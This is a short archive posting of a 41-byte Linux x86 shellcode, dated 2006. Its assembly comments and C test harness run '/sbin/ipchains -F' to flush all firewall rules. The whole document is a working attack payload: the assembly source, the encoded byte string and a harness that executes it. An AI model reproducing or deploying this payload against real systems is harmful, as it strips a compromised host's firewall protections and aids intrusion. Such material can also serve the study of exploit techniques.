linux/x86 /sbin/ipchains -F 41 bytes
/* By Kris Katterjohn 11/15/2006*
* 41 byte shellcode to flush ipchains for Linux x86
*
*
*
* section .text
*
* global _start
*
* _start:
*
* ; execve("/sbin/ipchains", { "/sbin/ipchains", "-F", NULL }, NULL)
*
* push byte 11
* pop eax
* xor edx, edx
* push edx
* push word 0x462d
* mov ecx, esp
* push edx
* push word 0x736e
* push 0x69616863
* push 0x70692f6e
* push 0x6962732f
* mov ebx, esp
* push edx
* push ecx
* push ebx
* mov ecx, esp
* int 0x80
*/
main()
{
char shellcode[] =
"\x6a\x0b\x58\x31\xd2\x52\x66\x68\x2d\x46"
"\x89\xe1\x52\x66\x68\x6e\x73\x68\x63\x68"
"\x61\x69\x68\x6e\x2f\x69\x70\x68\x2f\x73"
"\x62\x69\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";
(*(void (*)()) shellcode)();
}
// syue.com [2006-11-17]
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